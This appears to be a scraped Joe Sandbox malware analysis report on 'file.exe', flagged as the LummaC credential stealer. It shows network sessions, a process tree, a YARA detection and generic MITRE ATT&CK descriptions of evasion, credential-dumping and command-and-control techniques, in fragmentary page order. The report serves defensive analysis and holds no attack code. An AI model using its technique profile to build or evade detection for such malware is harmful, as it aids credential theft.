encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:22 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:23 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: af6c4ed9-f01e-00aa-2a91-3f8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023323Z-174f78459684bddphC1EWRbht4000000123g000000003xfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:23 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:23 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:23 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 4c44aa58-201e-005d-7b91-3fafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023323Z-174f7845968xr5c2hC1EWRd0hn0000000m6g0000000068ay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:24 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:24 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:24 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2d33395e-b01e-0002-651f-411b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023324Z-174f7845968n2hr8hC1EWR9cag00000011yg00000000ah29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:24 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:24 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:25 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: d9e8d238-201e-0000-77ec-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023325Z-174f7845968zgtf6hC1EWRqd8s0000000v9g000000006fv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:25 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	21:32:15
Start date:	30/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2a0000
File size:	1'878'528 bytes
MD5 hash:	FB259C5EBC086A3062F5F3DD9E2955AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1500790894.000000000140F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:41:46
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:41:47
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1944,i,15678705187657892955,17844764496678976098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:41:49
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6fee10000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:41:49
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1928,i,17398790498450911145,18130191618194724577,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Windows Analysis Report
file.exe